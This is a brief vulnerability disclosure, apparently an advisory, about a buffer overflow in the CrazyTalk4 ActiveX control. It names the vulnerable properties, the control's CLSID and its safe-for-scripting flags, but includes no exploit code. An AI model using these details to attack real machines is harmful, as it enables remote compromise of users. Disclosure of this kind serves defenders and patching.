I think this is a very common ActiveX, probably bundled with Dell Notebooks.


Background:
The mentioned software carries a third party ActiveX Control
with the following settings.

Binary path: C:\Program Files\Common Files\Reallusion\CT Player\crazytalk4.ocx
ProgID: CRAZYTALK4.CrazyTalk4Ctrl.1
CLSID: {13149882-F480-4F6B-8C6A-0764F75B99ED}
Safe for Scripting (Registry): True
Safe for Initialization (Registry): True

This control is marked safe for scripting and safe for initialization,
then Internet Explorer will allow scripting of this control from remote.

Vulnerability:

The 'BackImage' ,'ScriptName', 'ModelName' and 'SRC' properties
can be used to trigger a buffer overflow condition.
The crazytalk4.ocx ActiveX control will load the close CrazyTalk4Native.dll
library and, while constructing a local file path, will call sprintf()
with an insufficient size.
